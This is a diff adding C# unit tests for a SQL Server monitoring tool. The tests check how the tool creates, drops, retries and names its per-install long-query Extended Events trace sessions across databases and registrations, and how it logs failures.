+            lines.AddRange(Lines(rig));
+            Assert.Equal(6, Count(lines, "WARN", EnsureLine));
+            Assert.Equal(2, Count(lines, "ERROR", allRefused));
+            Assert.Equal(6, Count(lines, "DEBUG", EnsureLine));
+            Assert.Equal(2, Count(lines, "DEBUG", allRefused));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>
+    /// The create's own listing of the monitored databases fails with a SQL error on every cycle: its Error line is the
+    /// first failure's, and the cycles after it log Debug.
+    /// </summary>
+    [Fact]
+    public async Task On_AListingThatFailsWithASqlError_LogsOneError_ThenDebug()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: true);
+            const string listing = "Failed to enumerate databases for long query completions XE sessions";
+            var lines = new List<string>();
+
+            for (var cycle = 0; cycle < 3; cycle++)
+            {
+                rig.ListFailure = SqlExceptionFactory.Create(4060, errorClass: 11, message: "master is not readable.");
+                await rig.ReconcileAsync();
+                lines.AddRange(Lines(rig));
+            }
+
+            Assert.Equal(1, Count(lines, "ERROR", listing));
+            Assert.Equal(2, Count(lines, "DEBUG", listing));
+            Assert.NotNull(KeptFault(rig));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /* ── #4964: the drop of a server-scoped session follows the same cap as the Azure arm's ── */
+
+    /* The server-scoped session reaches the test replacement with no database name. */
+    private const string TheServer = "";
+
+    private const string DropLine = "Could not drop the long-query trace session:";
+
+    /// <summary>
+    /// On an engine with no per-database sessions, a disabled trace whose drop fails on every cycle follows the cadence of
+    /// the Azure arm: the first four failures are Warnings that the next cycle tries again, the fifth is the one Warning that
+    /// gives up, the cycles after it run nothing, and an hour later one attempt logs at Debug. Before, the failure reached
+    /// the general catch, which warned on every cycle with no end.
+    /// </summary>
+    [Fact]
+    public async Task Off_OnPremises_ADropThatFailsOnEveryCycle_WarnsToTheCap_ThenTriesOnceAnHourAtDebug()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildOnPremRigAsync(traceOn: false);
+            rig.Refuse.Add(TheServer);
+            var lines = new List<string>();
+
+            for (var pass = 1; pass < LongQueryTraceDatabases.DropAttemptCap; pass++)
+            {
+                await rig.ReconcileAsync();
+                Assert.Null(rig.Applied);
+            }
+
+            await rig.ReconcileAsync();
+            Assert.False(rig.Applied);
+            lines.AddRange(Lines(rig));
+            Assert.Equal(LongQueryTraceDatabases.DropAttemptCap - 1, Count(lines, "WARN", DropLine));
+            var giveUp = Assert.Single(lines, line => line.Contains("Stopped retrying", StringComparison.Ordinal));
+            Assert.Contains("may remain on the server", giveUp, StringComparison.Ordinal);
+            Assert.DoesNotContain("databases could not be listed", giveUp, StringComparison.Ordinal);
+            Assert.Equal(0, Count(lines, "WARN", ReconcileLine));
+
+            /* Done: the cycles after it run nothing, until the hour is up. */
+            rig.Calls.Clear();
+            await rig.ReconcileAsync();
+            rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+            await rig.ReconcileAsync();
+            Assert.Empty(rig.Calls);
+
+            /* An hour after the cap: one attempt, at Debug, and the cycle after it runs nothing. */
+            rig.Clock += TimeSpan.FromMinutes(1);
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            Assert.Single(rig.Calls);
+            lines.Clear();
+            lines.AddRange(Lines(rig));
+            Assert.Equal(0, Count(lines, "WARN", DropLine));
+            Assert.Equal(1, Count(lines, "DEBUG", "The next attempt is in an hour."));
+            Assert.False(rig.Applied);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>
+    /// A drop that fails, then succeeds, is done: the count and the hourly attempt end, and nothing more is tried.
+    /// </summary>
+    [Fact]
+    public async Task Off_OnPremises_ADropThatSucceedsAfterFailures_IsDone()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: false);
+        rig.Refuse.Add(TheServer);
+
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+        Assert.Null(rig.Applied);
+
+        rig.Refuse.Clear();
+        await rig.ReconcileAsync();
+        Assert.False(rig.Applied);
+
+        rig.Calls.Clear();
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync();
+        Assert.Empty(rig.Calls);
+    }
+
+    /// <summary>
+    /// Turning the trace on is a create that succeeds, and it ends the run of drop failures: after the cap gave up, on and
+    /// off again, the next failures count from one, and warn again.
+    /// </summary>
+    [Fact]
+    public async Task Off_OnPremises_AfterTheCap_TurnedOnAndOffAgain_CountsTheFailuresAgain()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildOnPremRigAsync(traceOn: false);
+            rig.Refuse.Add(TheServer);
+            for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+            {
+                await rig.ReconcileAsync();
+            }
+
+            Assert.False(rig.Applied);
+
+            rig.Refuse.Clear();
+            rig.Schedules.UpdateSchedule("long_query_completions", enabled: true);
+            await rig.ReconcileAsync();
+            Assert.True(rig.Applied);
+
+            AppLogger.DrainBufferedLines();
+            rig.Refuse.Add(TheServer);
+            rig.Schedules.UpdateSchedule("long_query_completions", enabled: false);
+            var lines = new List<string>();
+            for (var pass = 1; pass < LongQueryTraceDatabases.DropAttemptCap; pass++)
+            {
+                await rig.ReconcileAsync();
+            }
+
+            lines.AddRange(Lines(rig));
+            Assert.Equal(LongQueryTraceDatabases.DropAttemptCap - 1, Count(lines, "WARN", DropLine));
+
+            /* The failed passes were not marked done: the last reconcile that finished is the one that turned it on. */
+            Assert.True(rig.Applied);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /* ── M2: the trace follows the monitored set ── */
+
+    [Fact]
+    public async Task On_AnExclusionChange_DropsTheSessionFromTheNewlyExcludedDatabase()
+    {
+        var rig = await BuildRigAsync(traceOn: true);
+
+        await rig.ReconcileAsync();
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Created);
+
+        rig.Server.ExcludedDatabases.Add("gamma");
+        rig.Calls.Clear();
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "gamma" }, rig.Dropped);
+        Assert.DoesNotContain("gamma", rig.Created);
+    }
+
+    [Fact]
+    public async Task Off_DropsTheSessionEverywhere_ExcludedDatabasesIncluded()
+    {
+        var rig = await BuildRigAsync(traceOn: false, "gamma");
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+    }
+
+    /* ── L3: a database monitored as its own server belongs to that registration ── */
+
+    [Fact]
+    public async Task Off_LeavesTheSessionOfADatabaseMonitoredAsItsOwnServer()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        RegisterSeparately(rig, "beta");
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task On_DoesNotCreateTheSessionInADatabaseMonitoredAsItsOwnServer()
+    {
+        var rig = await BuildRigAsync(traceOn: true);
+        RegisterSeparately(rig, "beta");
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Created);
+        Assert.DoesNotContain("beta", rig.Dropped);
+    }
+
+    /// <summary>
+    /// The trace ON leaves a database monitored as its own server even when this registration excludes it, which
+    /// would otherwise put it in the drop outside the set. Only the plan's own-server rule keeps it: the other
+    /// registration's trace is off, so no other registration keeps the session there.
+    /// </summary>
+    [Fact]
+    public async Task On_ADatabaseMonitoredAsItsOwnServer_AndExcluded_IsNotDropped()
+    {
+        var rig = await BuildRigAsync(traceOn: true, "beta");
+        RegisterOther(rig, "beta", traceOn: false, readOnlyIntent: false);
+
+        await rig.ReconcileAsync();
+
+        Assert.DoesNotContain("beta", rig.Dropped);
+    }
+
+    /* ── M1: a drop leaves a database where another registration of the server keeps the session ── */
+
+    [Fact]
+    public async Task Off_LeavesTheDatabaseOfAReadOnlyRegistration_WhileItsTraceIsOn()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        RegisterOther(rig, "beta", traceOn: true, readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task ReadOnlyRegistration_Off_LeavesItsDatabase_WhileTheLogicalServersTraceIsOnAndCoversIt()
+    {
+        var rig = await BuildDatabaseRigAsync("beta", traceOn: false);
+        RegisterOther(rig, database: null, traceOn: true, readOnlyIntent: false);
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Dropped);
+        Assert.False(rig.Applied);
+    }
+
+    [Fact]
+    public async Task ReadOnlyRegistration_Off_DropsItsDatabase_WhenTheLogicalServerExcludesIt()
+    {
+        var rig = await BuildDatabaseRigAsync("beta", traceOn: false);
+        RegisterOther(rig, database: null, traceOn: true, readOnlyIntent: false, "beta");
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "beta" }, rig.Dropped);
+    }
+
+    /// <summary>
+    /// A registration of one database without read-only intent is monitored as its own server, so the logical
+    /// server's registration never creates the session there and does not keep it. Turning that database's own
+    /// trace off still drops it.
+    /// </summary>
+    [Fact]
+    public async Task DatabaseRegistration_Off_DropsItsDatabase_WhileTheLogicalServerLeavesItToIt()
+    {
+        var rig = await BuildDatabaseRigAsync("beta", traceOn: false, readOnlyIntent: false);
+        RegisterOther(rig, database: null, traceOn: true, readOnlyIntent: false);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "beta" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task Off_LeavesTheDatabasesOfASecondLogicalServerRegistration_WhileItsTraceIsOn()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        RegisterOther(rig, database: null, traceOn: true, readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Dropped);
+    }
+
+    [Fact]
+    public async Task On_TheOutsideDrop_LeavesAnExcludedDatabase_ThatASecondRegistrationsTraceCovers()
+    {
+        var rig = await BuildRigAsync(traceOn: true, "gamma");
+        RegisterOther(rig, database: null, traceOn: true, readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "alpha", "beta" }, rig.Created);
+        Assert.Empty(rig.Dropped);
+    }
+
+    [Fact]
+    public async Task On_TheOutsideDrop_StillDropsADatabase_ThatBothLogicalServerRegistrationsExclude()
+    {
+        var rig = await BuildRigAsync(traceOn: true, "gamma");
+        RegisterOther(rig, database: null, traceOn: true, readOnlyIntent: true, "gamma");
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "gamma" }, rig.Dropped);
+    }
+
+    [Fact]
+    public async Task Off_OnceTheOtherRegistrationTurnsItsTraceOff_TheNextPassDrops()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        var other = RegisterOther(rig, "beta", traceOn: true, readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+        Assert.DoesNotContain("beta", rig.Dropped);
+
+        /* Nothing changed: the reconcile is done and does not run again. */
+        rig.Calls.Clear();
+        await rig.ReconcileAsync();
+        Assert.Empty(rig.Calls);
+
+        SetTrace(rig, other, traceOn: false);
+        await rig.ReconcileAsync();
+
+        Assert.Contains("beta", rig.Dropped);
+    }
+
+    /* ── the read follows the lifecycle; the always-on sessions do not change ── */
+
+    /// <summary>
+    /// The logical server's long-query read skips the databases monitored as their own servers, the same ones its
+    /// lifecycle leaves alone. Reading one would fail every cycle when that database's own trace is off (a missing
+    /// session is a read failure since #4731), or store its events twice when it is on. Pinned in the source: the
+    /// read loop needs a live connection per database.
+    /// </summary>
+    [Fact]
+    public void TheLongQueryRead_SkipsTheDatabasesMonitoredAsTheirOwnServers()
+    {
+        var definition = ReadLf(Path.Combine("PerformanceMonitor.Collectors", "LongQueryCompletionsCollector.cs"));
+        Assert.Contains("public override bool SkipsSeparatelyMonitoredDatabases => true;", definition, StringComparison.Ordinal);
+
+        var runner = ReadLf(Path.Combine("Lite", "Services", "RemoteCollectorService.DefinitionRunner.cs"));
+        var list = runner.IndexOf("await GetAzureDatabaseListAsync(server, cancellationToken);", StringComparison.Ordinal);
+        var skip = runner.IndexOf("if (definition.SkipsSeparatelyMonitoredDatabases)", StringComparison.Ordinal);
+        Assert.True(list > 0 && skip > list, "the per-database read filters its list after listing it");
+        Assert.Contains("databases = WithoutSeparatelyMonitoredDatabases(server, databases);", runner, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The read leaves out master too, by the trace's own rule (<see cref="LongQueryTraceDatabases.CanHoldSession"/>), and
+    /// counts the databases it lists without master, so a logical server whose user databases are all monitored
+    /// separately is not left reading master alone, and a list of master alone is not blamed on them (#4961). The
+    /// behaviour is driven in <see cref="EmptyDatabaseListNoteLiteTests"/>; pinned here in the source as well, so the rule
+    /// stays the trace's own and not a second copy in the runner.
+    /// </summary>
+    [Fact]
+    public void TheLongQueryRead_AlsoSkipsMaster_ByTheTracesOwnRule()
+    {
+        var runner = ReadLf(Path.Combine("Lite", "Services", "RemoteCollectorService.DefinitionRunner.cs"));
+        var skip = runner.IndexOf("if (definition.SkipsSeparatelyMonitoredDatabases)", StringComparison.Ordinal);
+        var note = runner.IndexOf("EmptyDatabaseListNote.For(", skip, StringComparison.Ordinal);
+        Assert.True(skip > 0 && note > skip, "the skip comes before the note's inputs");
+
+        var block = runner[skip..note];
+        var master = block.IndexOf("databases = databases.FindAll(LongQueryTraceDatabases.CanHoldSession);", StringComparison.Ordinal);
+        var counted = block.IndexOf("listedDatabaseCount = databases.Count;", StringComparison.Ordinal);
+        var separately = block.IndexOf("databases = WithoutSeparatelyMonitoredDatabases(server, databases);", StringComparison.Ordinal);
+        Assert.True(master > 0 && counted > master && separately > counted,
+            "master leaves the list, then the list is counted, then the separately monitored databases leave");
+        Assert.DoesNotContain("\"master\"", block, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("master", false)]
+    [InlineData("MASTER", false)]
+    [InlineData("alpha", true)]
+    [InlineData("masters", true)]
+    public void TheTrace_CanHoldASessionInEveryDatabaseButMaster(string database, bool expected)
+    {
+        Assert.Equal(expected, LongQueryTraceDatabases.CanHoldSession(database));
+    }
+
+    [Fact]
+    public void ThePlan_CreatesTheSessionWhereTheReadReads_NeverInMaster()
+    {
+        var listed = new[] { "master", "alpha", "zeta" };
+
+        var plan = LongQueryTraceDatabases.Plan(
+            enabled: true, listed, listed, Array.Empty<string>(), Array.Empty<string>());
+
+        Assert.Equal(listed.Where(LongQueryTraceDatabases.CanHoldSession), plan.Create);
+        Assert.DoesNotContain("master", plan.Create, StringComparer.OrdinalIgnoreCase);
+    }
+
+    /// <summary>
+    /// Guard, not RED first: the always-on deadlock and blocked-process sessions keep their inventory lifecycle. Their
+    /// ensures still list the databases themselves, with the server's exclusions and nothing else, so an exclusion or
+    /// ownership change that moves the long-query trace does not move them.
+    /// </summary>
+    [Fact]
+    public void TheAlwaysOnSessions_StillFollowTheInventory()
+    {
+        var shared = ReadLf(Path.Combine("Lite", "Services", "RemoteCollectorService.BlockedProcessReport.cs"));
+        Assert.Contains("databases = await GetAzureDatabaseListAsync(server, cancellationToken);", shared, StringComparison.Ordinal);
+
+        foreach (var (file, capture) in new[] { ("RemoteCollectorService.BlockedProcessReport.cs", "\"blocked process\""), ("RemoteCollectorService.Deadlocks.cs", "\"deadlock\"") })
+        {
+            var source = ReadLf(Path.Combine("Lite", "Services", file));
+            var call = source.IndexOf("await EnsureDatabaseScopedXeSessionsAsync(", StringComparison.Ordinal);
+            Assert.True(call > 0, $"{file} lost its database-scoped ensure");
+            var args = source[call..source.IndexOf(';', call)];
+            Assert.Contains(capture, args, StringComparison.Ordinal);
+            /* #4961: the arms also hand the shared driver their per-database routine, which is no list of databases. */
+            Assert.EndsWith("databaseName, token))", args, StringComparison.Ordinal);
+            Assert.DoesNotContain("SeparatelyMonitored", args, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// The edition is read once for a reconcile. A connection check that writes a blank edition and then 5 again, between the
+    /// reconcile's first read and its drop, must not send the drop down the Azure branch with no registrations: that drop
+    /// listed nothing as kept and dropped the session from a database another registration still uses.
+    /// </summary>
+    [Fact]
+    public async Task Off_AnEditionThatChangesDuringTheReconcile_StillLeavesTheDatabasesAnotherRegistrationKeeps()
+    {
+        var rig = await BuildRigAsync(traceOn: false);
+        var other = RegisterOther(rig, database: null, traceOn: false, readOnlyIntent: true);
+
+        /* An earlier cycle read the edition. With both traces off nothing is kept, so the drop takes every database. */
+        await rig.ReconcileAsync();
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.Dropped);
+
+        /* The other registration turns its trace on, so the plan runs again. A failed check wrote a blank edition, and the
+           next check wrote 5 between this reconcile's first read of it and its drop (the clock is read in between). */
+        SetTrace(rig, other, traceOn: true);
+        var status = rig.Servers.GetConnectionStatus(rig.Server.Id);
+        status.SqlEngineEdition = 0;
+        rig.Service.LongQueryTraceUtcNowForTests = () =>
+        {
+            status.SqlEngineEdition = 5;
+            return rig.Clock;
+        };
+        rig.Calls.Clear();
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Dropped);
+    }
+
+    /// <summary>
+    /// The enumeration behind the Azure database list has the server's exclusion clause and parameters only when asked for.
+    /// The trace's drops ask for none, so a session created before a database was excluded is still dropped there. The
+    /// lifecycle rigs replace the listing, so this reads the query the real listing runs.
+    /// </summary>
+    [Fact]
+    public void TheAzureDatabaseList_AppliesTheServersExclusionsOnlyWhenAsked()
+    {
+        var server = new ServerConnection { ServerName = Host, ExcludedDatabases = new List<string> { "scratch", "tempdb_clone" } };
+
+        var (everySql, everyParameters) = RemoteCollectorService.BuildAzureDatabaseListQuery(server, applyExclusions: false);
+        Assert.DoesNotContain("NOT IN", everySql, StringComparison.Ordinal);
+        Assert.Empty(everyParameters);
+
+        var (monitoredSql, monitoredParameters) = RemoteCollectorService.BuildAzureDatabaseListQuery(server, applyExclusions: true);
+        Assert.Contains("name NOT IN (@excl_db_0, @excl_db_1)", monitoredSql, StringComparison.Ordinal);
+        Assert.Equal(2, monitoredParameters.Count);
+    }
+
+    private static string ReadLf(string relativePath)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !File.Exists(Path.Combine(dir, relativePath)))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, relativePath)).Replace("\r\n", "\n");
+    }
+
+    /* ── #4961: the session is this install's own, named from its id ── */
+
+    private static string OwnSession(string? installId) =>
+        LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, installId);
+
+    [Fact]
+    public async Task Azure_EveryPass_NamesOnlyThisInstallsSession()
+    {
+        /* "gamma" is excluded, so the create pass drops the session outside the monitored set, and it refuses that drop until
+           the cap gives up, so the hourly attempt after the cap runs too. */
+        var rig = await BuildRigAsync(traceOn: true, "gamma");
+        rig.Refuse.Add("gamma");
+        for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+        {
+            await rig.ReconcileAsync();
+        }
+
+        rig.Clock += LongQueryTraceDatabases.RetryInterval;
+        await rig.ReconcileAsync();
+
+        /* Off: the drop in each listed database. */
+        rig.Schedules.UpdateSchedule("long_query_completions", enabled: false);
+        rig.Refuse.Clear();
+        await rig.ReconcileAsync();
+
+        Assert.Contains(rig.Calls, c => c.Create);
+        Assert.Contains(rig.Calls, c => !c.Create);
+        Assert.Equal(rig.Calls.Count, rig.Names.Count);
+        Assert.All(rig.Names, name => Assert.Equal(OwnSession(rig.InstallId), name));
+        Assert.DoesNotContain(rig.Names, name => name == LongQueryCompletionsCollector.LegacyXeSessionName);
+
+        /* The legacy session is dropped once in each listed database but master, the excluded one included, and never again. */
+        Assert.Equal(new[] { "alpha", "beta", "gamma" }, rig.LegacyCalls);
+    }
+
+    [Fact]
+    public async Task OnPrem_TheEnsureRunsOnEachCycle_AndTheDrop_NameThisInstallsSession()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: true);
+
+        /* Lite ensures on every cycle, so a stopped session is started again on the next one (STARTUP_STATE = OFF). */
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+        Assert.Equal(2, rig.Calls.Count(c => c.Create));
+
+        rig.Schedules.UpdateSchedule("long_query_completions", enabled: false);
+        await rig.ReconcileAsync();
+
+        Assert.Single(rig.Calls, c => !c.Create);
+        Assert.Equal(3, rig.Names.Count);
+        Assert.All(rig.Names, name => Assert.Equal(OwnSession(rig.InstallId), name));
+
+        /* The legacy session is dropped once on the server, with no database named, across all three cycles. */
+        Assert.Equal(new[] { string.Empty }, rig.LegacyCalls);
+    }
+
+    /// <summary>
+    /// The drop before a recreate takes this install's own long-query session and no other name (#4961). The deadlock and
+    /// blocked-process ensures hand their own per-database routine to the shared driver and never reach it, so a shared
+    /// name arriving there is a bug in a caller, and dropping it would take another install's reader down with it.
+    /// </summary>
+    [Fact]
+    public async Task TheRecreateDrop_TakesOnlyThisInstallsOwnLongQuerySession_NeverASharedOneNorAnotherInstalls()
+    {
+        var rig = await BuildRigAsync(traceOn: true);
+        var own = OwnSession(rig.InstallId);
+
+        Assert.Equal("DROP EVENT SESSION [" + own + "] ON DATABASE;", rig.Service.BuildRecreateDropSql(own));
+
+        var refused = new[]
+        {
+            /* The shared deadlock and blocked-process sessions, and the long-query session every install used to share. */
+            DeadlocksCollector.XeSessionName,
+            BlockedProcessReportCollector.XeSessionName,
+            LongQueryCompletionsCollector.LegacyXeSessionName,
+
+            /* Another install's long-query session, a Darling install with this id, and this install's own session of
+               another capture: each is a name this install does not own as its long-query session. */
+            LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, "ffffffff"),
+            LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, rig.InstallId),
+            AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, rig.InstallId, AlwaysOnXeSessionKind.Deadlock),
+            AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, rig.InstallId, AlwaysOnXeSessionKind.BlockedProcess),
+            string.Empty,
+        };
+        foreach (var name in refused)
+        {
+            Assert.Throws<ArgumentException>(() => rig.Service.BuildRecreateDropSql(name));
+        }
+    }
+
+    /// <summary>An install with no id owns no session, so the drop before a recreate refuses even a well-formed per-install name.</summary>
+    [Fact]
+    public async Task TheRecreateDrop_WithNoInstallId_RefusesEveryName()
+    {
+        var rig = await BuildRigAsync(
+            new ServerConnection { ServerName = Host, DisplayName = "lqtrace-recreate-noid" }, traceOn: true, engineEdition: 5, withInstallId: false);
+        Assert.Null(rig.InstallId);
+
+        Assert.Throws<ArgumentException>(() => rig.Service.BuildRecreateDropSql(
+            LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, "0a1b2c3d")));
+        Assert.Throws<ArgumentException>(() => rig.Service.BuildRecreateDropSql(DeadlocksCollector.XeSessionName));
+    }
+
+    /// <summary>The recreate sends its drop through the guarded builder, never through a statement of its own.</summary>
+    [Fact]
+    public void TheRecreate_SendsItsDropThroughTheGuardedBuilder_NotThroughAStatementOfItsOwn()
+    {
+        var source = ReadLf("Lite/Services/RemoteCollectorService.BlockedProcessReport.cs");
+        var recreate = source.IndexOf("private async Task RecreateDatabaseScopedXeSessionAsync(", StringComparison.Ordinal);
+        var builder = source.IndexOf("internal string BuildRecreateDropSql(string sessionName)", StringComparison.Ordinal);
+        Assert.True(recreate >= 0, "the recreate is gone");
+        Assert.True(builder > recreate, "the builder is gone");
+
+        Assert.Contains("new SqlCommand(BuildRecreateDropSql(sessionName), connection)", source[recreate..builder], StringComparison.Ordinal);
+        Assert.DoesNotContain("DROP EVENT SESSION", source[recreate..builder], StringComparison.Ordinal);
+
+        /* The one DROP statement in the file is the builder's. */
+        Assert.Equal(1, source.Split("DROP EVENT SESSION [", StringSplitOptions.None).Length - 1);
+        Assert.True(source.IndexOf("DROP EVENT SESSION [", StringComparison.Ordinal) > builder);
+    }
+
+    /// <summary>
+    /// A store that could not give an id (its folder cannot hold the file) is not the same as a host built without a store: the
+    /// fault says the id could not be saved and that the next cycle tries again, and the cycle after the folder is usable
+    /// creates the session under the id it saved.
+    /// </summary>
+    [Fact]
+    public async Task AnInstallIdThatCouldNotBeSaved_IsSaidInTheFault_AndTheNextCycleCreatesTheSession()
+    {
+        var blocker = Path.Combine(_configDir, "not-a-folder");
+        File.WriteAllText(blocker, "a file where the data folder should be");
+        var idClock = new DateTime(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+        var store = new InstallIdStore(Path.Combine(blocker, "data"), "test-machine", null) { UtcNowForTests = () => idClock };
+        var rig = await BuildRigAsync(
+            new ServerConnection { ServerName = Host, DisplayName = "lqtrace-idsave" }, traceOn: true, engineEdition: 5, withInstallId: false, idStore: store);
+        Assert.Null(rig.InstallId);
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Calls);
+        var fault = rig.Service.LongQueryTraceFaultState(rig.Server.Id);
+        Assert.NotNull(fault);
+        Assert.Contains("could not be saved", fault!.Message, StringComparison.Ordinal);
+        Assert.Contains("next cycle tries again", fault.Message, StringComparison.Ordinal);
+
+        File.Delete(blocker);
+        idClock = idClock.AddSeconds(61);
+        await rig.ReconcileAsync();
+
+        Assert.Null(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        Assert.NotEmpty(rig.Created);
+        Assert.All(rig.Names, name => Assert.Contains(rig.Service.GetInstallId()!, name, StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData(5)]
+    [InlineData(3)]
+    public async Task NoInstallId_NothingIsCreated_AndTheRunRecordsWhy(int engineEdition)
+    {
+        var rig = await BuildRigAsync(
+            new ServerConnection { ServerName = Host, DisplayName = "lqtrace-noid" }, traceOn: true, engineEdition, withInstallId: false);
+        Assert.Null(rig.InstallId);
+
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Calls);
+        Assert.Empty(rig.Names);
+        Assert.Null(rig.Applied);
+        var fault = rig.Service.LongQueryTraceFaultState(rig.Server.Id);
+        Assert.NotNull(fault);
+        Assert.Contains("no id", fault!.Message, StringComparison.Ordinal);
+
+        /* Off: there is no session of this install's to drop, and no fault is left for a run that is not dispatched. */
+        rig.Schedules.UpdateSchedule("long_query_completions", enabled: false);
+        await rig.ReconcileAsync();
+
+        Assert.Empty(rig.Calls);
+        Assert.Null(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+    }
+
+    /* ── #4964: the collector's own line for the trace's failed create follows the create's lines ── */
+
+    private const string TraceCollector = "long_query_completions";
+
+    /// <summary>The collector's own line for a trace fault that is an ensure failure, as <c>RunCollectorAsync</c> writes it.</summary>
+    private const string CollectorEnsureLine = "long_query_completions Failed to ensure long query completions XE session";
+
+    private static async Task WithDebugLoggingAsync(Func<Task> body)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+            await body();
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>One collection cycle for the trace: the reconcile the per-server loop runs first, then the collector's run.</summary>
+    private static async Task ReconcileAndRunAsync(Rig rig)
+    {
+        await rig.ReconcileAsync();
+        await rig.Service.RunCollectorAsync(rig.Server, TraceCollector, CancellationToken.None);
+    }
+
+    private static void RefuseEveryDatabase(Rig rig, int? number)
+    {
+        rig.RefusalNumber = number;
+        foreach (var database in new[] { "alpha", "beta", "gamma" })
+        {
+            rig.Refuse.Add(database);
+        }
+    }
+
+    /// <summary>The collection_log rows the test's server has for the long-query collector, oldest first.</summary>
+    private static async Task<List<(string Status, string? Error)>> ReadRunsAsync(Rig rig)
+    {
+        using var connection = rig.DuckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = $"SELECT status, error_message FROM collection_log WHERE server_id = {rig.ServerId} AND collector_name = '{TraceCollector}' ORDER BY log_id";
+        using var reader = await command.ExecuteReaderAsync();
+        var runs = new List<(string, string?)>();
+        while (await reader.ReadAsync())
+        {
+            runs.Add((reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1)));
+        }
+
+        return runs;
+    }
+
+    /// <summary>
+    /// A create refused in every database on every cycle. The collector's run rethrows the fault the reconcile kept, so its
+    /// own line follows the create's lines: the first failing cycle logs it at Error, and the cycles after it log it at
+    /// Debug. Every run still records ERROR with the same message, counts toward the collector's consecutive errors, and
+    /// flags the XE session unavailable.
+    /// </summary>
+    [Fact]
+    public async Task ACollectorWhoseTraceCreateFailsOnEveryCycle_LogsItsOwnLineOnce_ThenDebug()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(traceOn: true);
+            RefuseEveryDatabase(rig, number: 4060);
+            var lines = new List<string>();
+
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+            Assert.Equal(1, Count(lines, "ERROR", CollectorEnsureLine));
+
+            await ReconcileAndRunAsync(rig);
+            await ReconcileAndRunAsync(rig);
+            lines.AddRange(Lines(rig));
+
+            Assert.Equal(1, Count(lines, "ERROR", CollectorEnsureLine));
